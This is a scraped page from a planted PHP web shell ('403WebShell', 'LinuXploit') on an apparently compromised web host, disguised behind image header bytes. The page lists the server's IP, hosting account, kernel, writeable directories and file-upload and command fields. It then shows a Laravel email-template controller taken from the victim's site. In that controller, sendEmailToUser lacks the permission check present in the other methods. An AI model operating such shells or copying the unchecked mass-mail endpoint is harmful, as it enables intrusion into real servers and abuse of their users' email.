����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.219.151.249
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/EmailTemplateController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Http\Requests\Admin\EmailTemplateRequest;
use App\Http\Requests\Admin\SendMailRequest;
use App\Mail\SendMailToUser;
use App\Models\Email_template;
use App\Models\Instructor;
use App\Models\Student;
use App\Models\User;
use App\Tools\Repositories\Crud;
use App\Traits\General;
use Illuminate\Http\Request;
use Auth;
use Mail;

class EmailTemplateController extends Controller
{
    use General;

    protected $model;
    public function __construct(Email_template $email_template)
    {
        $this->model = new Crud($email_template);
    }

    public function index()
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $data['title'] = 'Email Template';
        $data['email_templates'] = $this->model->getOrderById('DESC', 25);
        $data['navEmailActiveClass'] = 'mm-active';
        $data['navEmailParentShowClass'] = 'mm-show';
        $data['subNavEmailTemplateActiveClass'] = 'mm-active';
        return view('admin.emailTemplate.index', $data);
    }

    public function create()
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $data['title'] = 'Add Template';
        $data['navEmailActiveClass'] = 'mm-active';
        $data['navEmailParentShowClass'] = 'mm-show';
        $data['subNavEmailTemplateActiveClass'] = 'mm-active';
        return view('admin.emailTemplate.create', $data);
    }

    public function store(EmailTemplateRequest $request)
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $this->model->create($request->only($this->model->getModel()->fillable));
        return $this->controlRedirection($request, 'email-template', 'Template');
    }

    public function edit($uuid)
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $data['navEmailActiveClass'] = 'mm-active';
        $data['navEmailParentShowClass'] = 'mm-show';
        $data['subNavEmailTemplateActiveClass'] = 'mm-active';

        $data['title'] = 'Edit Template';
        $data['template'] = $this->model->getRecordByUuid($uuid);
        return view('admin.emailTemplate.edit', $data);
    }

    public function update(EmailTemplateRequest $request, $uuid)
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $this->model->updateByUuid($request->only($this->model->getModel()->fillable), $uuid); // update tag
        $this->showToastrMessage('success', __('Successfully saved'));
        return redirect()->back();
    }


    public function sendEmail()
    {
        if (!Auth::user()->can('user_management')) {
            abort('403');
        } // end permission checking

        $data['title'] = 'Send Mail';
        $data['email_templates'] = $this->model->all();
        $data['navEmailActiveClass'] = 'mm-active';
        $data['navEmailParentShowClass'] = 'mm-show';
        $data['subNavSendMailActiveClass'] = 'mm-active';

        return view('admin.emailTemplate.send-mail', $data);
    }

    public function sendEmailToUser(SendMailRequest $request)
    {


        if ($request->sender_type == 'instructor')
        {
            $user_ids = Instructor::pluck('user_id')->toArray();
            $to_mails = User::whereIn('id', $user_ids)->pluck('email')->toArray();
        }

        if ($request->sender_type == 'student')
        {
            $user_ids = Student::pluck('user_id')->toArray();
            $to_mails = User::whereIn('id', $user_ids)->pluck('email')->toArray();
        }

        if ($request->sender_type == 'from_csv')
        {
         $request->validate([
                'mail_list' => 'required',
            ]);

            $to_mails = [];

            try {
                if($request->has('mail_list'))
                {
                    $filename=$_FILES["mail_list"]["tmp_name"];
                    $file = fopen($filename, "r");

                    $i=0;
                    while (($getData = fgetcsv($file, 10000, ",")) !== FALSE)
                    {
                        if ($i > 0)
                        {
                            $to_mails[] = $getData[0];
                        }
                        $i++;

                    }
                    fclose($file);
                }

            } catch (\Exception $exception) {
                toastrMessage('error', 'Something went wrong');
                return redirect()->back();
            }

        }

        if ($to_mails)
        {
            try {

                $template = Email_template::find($request->email_template_id);
                Mail::to(array_filter($to_mails))->send(new SendMailToUser($template));

                $this->showToastrMessage('success', __('Mail successfully send'));
                return redirect()->back();

            } catch (\Exception $exception) {
                $this->showToastrMessage('error', __($exception->getMessage()));
                return redirect()->back();
            }


        }


    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit